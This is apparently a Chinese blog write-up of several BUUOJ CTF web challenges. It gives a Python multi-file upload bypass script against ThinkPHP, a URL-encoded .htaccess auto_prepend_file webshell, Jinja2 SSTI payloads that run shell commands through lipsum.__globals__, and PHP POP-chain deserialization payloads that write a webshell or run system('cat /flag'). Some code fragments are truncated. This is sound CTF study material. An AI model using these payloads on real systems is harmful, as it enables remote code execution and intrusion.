目录
[HFCTF2020]BabyUpload
[XNUCA2019Qualifier]EasyPHP
.htaccess包含文件
第一种方法
第二种方法
[GWCTF 2019]你的名字
[EIS 2019]EzPOP
[2020 新春红包题]1
如何绕过后缀名呢
方法一
还有一点就是json格式的数据会被执行吗,实践试试
构造一下试试,不能做理论家!
方法二
maxSize = 4096 ;// 设置附件上传大小$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型$upload->rootPath = './Public/Uploads/';// 设置附件上传目录$upload->savePath = '';// 设置附件上传子目录$info = $upload->upload() ;if(!$info) {// 上传错误提示错误信息$this->error($upload->getError());return;}else{// 上传成功 获取上传文件信息$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;echo json_encode(array("url"=>$url,"success"=>1));}}
}
第一眼就想,这应该是一个框架,这点是部分的源码。
首先,我们如何把文件上传上去呢,用html还是有隐藏的路由。
扫完目录就一些403并没有什么用。
用html上传后界面没有任何的响应
第一次接触thinkphp上传没经验,百度得知, thinkphp默认上传位置为/index.php/home/index/upload,我们可以用burp或者脚本上传文件。
upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存。
题目中只限制了 F I L E S [ f i l e ] ∗ ∗ 的上传后缀,也只给出 ∗ ∗ _FILES[file]** 的上传后缀,也只给出 ** FILES[file]∗∗的上传后缀,也只给出∗∗_FILES[file] 上传后的路径,那我们上传多文件就可以绕过
这句话的意思就是,
import requests
import time
url='http://48fb02f2-8f8a-4b5b-a927-1cf3e4f4c0f6.node4.buuoj.cn:81/index.php/home/index/upload'
file1={'file':open('1.txt','r')}
file2={'file[]':open('2.php','r')}
r = requests.post(url,files = file1)
print(r.text)
r = requests.post(url,files = file2)
print(r.text)
r = requests.post(url,files = file1)
print(r.text)
只会检测第一个1.txt,而不会检测php的,然后通过uniqid来生成文件名,这样上传三个,我们就可以把中间的php锁定在一个范围然后就行爆破200.
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');这句话无用是因为,thinkphp中的函数时Exts
思考:本来想直接传入文件然后传个一句话马,把后面注释掉。
但是我构造马的时候发现空格报错,于是用%0a替换空格
想办法把后面的东西注释掉,死亡绕过exit呀,
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 本来想直接带入发现显示hacker,分析得知
if(preg_match("/[^a-z\.]/", $filename) == 1) {
里面只有小写字母和.,://统统不行,
本来想用多行注释发现也不行,
人傻了,上面的思路全部错掉,上面输入的filename文件,其实是没有权限执行php代码的,这点我们可以通过phpinfo();来得知仅仅是输出的作用。所以我们现在要做的就是如何让我们的文件执行!!!
如果将php代码写入.htaccess。代码前注释。访问index.php。就会自动包含.htaccess中的恶意代码
由于是先包含。再执行php代码。所以我们的恶意代码先执行。再删除.htaccess。我们就能获得一次执行命令的机会。
php_value auto_prepend_fi\
le ".htaccess"
#\
这里注释的原因是,在php中#是注释符,但在.htaccess中#就没用了。
然后进行url编码生成
php_value%20auto_prepend_fi%5C%0Ale%20%22.htaccess%22%0A%23%3C%3Fphp%20%40eval(%24_GET%5B'cmd'%5D)%3B%20%3F%3E%5C
?filename=.htaccess&content=php_value auto_prepend_fi\%0Ale ".htaccess"%0A%23<%3Fphp %40eval(%24_GET['cmd'])%3B %3F>\
有个缺点就是每生成一次只能执行一次,因为执行完.htaccess就会删除
首先通过 error_log来自定义错误文件路径,如/tmp/fl3g.php,然后设置include_path来改变include()或require()函数包含文件的录路径,这里可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上,因此思路就是先include_path不存在的目录/+恶意代码,同时将报错日志路径设为/tmp/fl3g.php,然后访问报错后再将include_path设为/tmp,即可让index.php包含fl3g.php来getshell,但有个小问题error_log中的内容是htmlentities的,也就是说会将<>等特殊字符实体编码,需要转为utf-7来绕过
打开界面以为是模板注入但是,{{3*3}}还是{%3%}都报错,看源码 newwork没啥有用的信息。
感觉这个输入框就只有打印的功能, 我输入什么就会输出什么,ok是我不会的题。
呃呃呃打开wp人傻了,只能形容会但会的不多。
也是通过报错推断出过滤了{{而没用过滤{,这里我用的是{%3*3%}发现回显的是,
返回500,这里看有的解释到是因为有的运算符也被办了,所以我们可以用另一种方法
{%print 'sfsfsf'%}
因为是无回显的所以加个print输出出来,name={%set a='1'%}赋值也可以没报错就是实现了。
然后这里的lipsum
用{{lipsum}}
测了一下发现是个方法
发现可以用,那就简单多了
{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}
直接执行报错500有过滤,拼接绕:
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /f*').read()%}
{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('whoami')['read']())%}
或者分开绕过,获得flag
发现json加密的结果是这样子
cache = array();$this->complete = base64_encode("xxx".base64_encode(''));$this->key = "shell.php";$this->store = new B();$this->autosave = false;$this->expire = 0;}}
class B{public $options = array();function __construct(){$this->options['serialize'] = 'base64_decode';$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';$this->options['data_compress'] = false;}
}
echo urlencode(serialize(new A()));
因为里面的绝大部分可控,最后是个绕过exit就行,固然base编码,绕过但是
php(12个字符)//exit,base64是4个一体,所以需要补充三个字符 3+9=12随机三个就行
然后json编码会解析错误一些符号,所以需要base64编码绕过。
以下是我做题的笔记
this->cache 的值是可以自定义的this->complete```
$expire = $this->options['expire'];
``````
$cache_filename = $this->options['prefix'] . uniqid() . $name; 直接$name=空
``````
$serialize = $this->options['serialize'];
``````
data的由来
$value
$contents
最后就是
[{"a":"12","b":"33"},12]cache,complete
``````
$data = "\n" . $data;
$result = file_put_contents($filename, $data);
```this->store=new B();```
$data = "\n" . $data;$result = file_put_contents($filename, $data); php://filter/write-decode/resource= 后面跟我们的base64加密数据,base64四个字节一组,17/20需要加3个
```$content的值其实就是:[{"a":"12","b":"33"},12]cache,complete```
set($this->key, $contents, $this->expire);$name, $value, $expire = null
``````
传入base64,然后过滤器解码写入,访问文件
```
然后访问shell.php,
$cache_filename = $this->options['prefix'] . uniqid() . $name;if(substr($cache_filename, -strlen('.php')) === '.php') {die('?');}
这里写入文件中的是base64解码后的
这道题是在[EIS 2019]EzPOP题的基础上修改的,所以我们只看一下添加的过滤代码
$cache_filename = $this->options['prefix'] . uniqid() . $name;if(substr($cache_filename, -strlen('.php')) === '.php') {die('?');}
发现加上了uniqid()这个函数根据时间产生唯一值,是一直变化,并且后缀名字做了检查不能是.php,检查方式是直接判断后四位是不是.php,需要我们想办法绕过它。
这里提个问题, $data = $this->serialize($value);我们为什么不直接让$this->serialize变成system直接命令执行不就好了吗,直接看value的值从哪来的
value->contents->cache 和 complete数据json编码获得的也可控,那么就要想如何绕过uuiqid(),看见了牛的姿势,理论很简单但是我真没想到,加上
/uploads/uuiqid().../shell.php,../返回目录那么其实就是调用了/uploads/shell.php
uploads/48342/../1.php/.会在uploads目录生成1.php。哇哦好神奇
发现json后的数据也会执行,这时候又想了一下如果有多个数组会不会都被执行
最终发现无论在哪只要 ``都可以执行🐂
store = new B();
$this->key = '1';
$this->cache = array('a'=>'`cat /flag > ./uploads/1.txt`');
}
}class B{
public $options = [
'serialize' => 'system'
];
}echo urlencode(serialize(new A()));
./指的是当前目录
这种都可以获得flag,上面的铺垫是为了方法二。
这个方法和上面的题思路差不多,把$serialize就作为serialize,然后用上面的方法进行绕过
但是在这里的时候我被卡住了,因为我们最后要绕过exit就需要base64编码绕过,但是上面从哪里就行编码呢
本来我想的是在serialize方法处直接,base64_encode(serialize())但是这种不能啊,因为传参进来就变成了base64_encode(serialize())();肯定不对
这里想了一下能不能直接上传base64编码后的数据,
cache = array();$this->complete = base64_encode("xxx".base64_encode(''));$this->key = "/../she2.php/.";$this->store = new B();$this->autosave = false;$this->expire = 0;}}
class B{public $options = array();function __construct(){$this->options['serialize'] = 'base64_decode';$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';$this->options['data_compress'] = false;}
}
echo urlencode(serialize(new A()));
ps:md 早搞出来了,太马虎了程序,php命令写错了导致搞了好久。
直接传会报错好奇怪,应该是php内部直接解析的错误。
上一篇:golang实现的一些需求
下一篇:【linux】:进程控制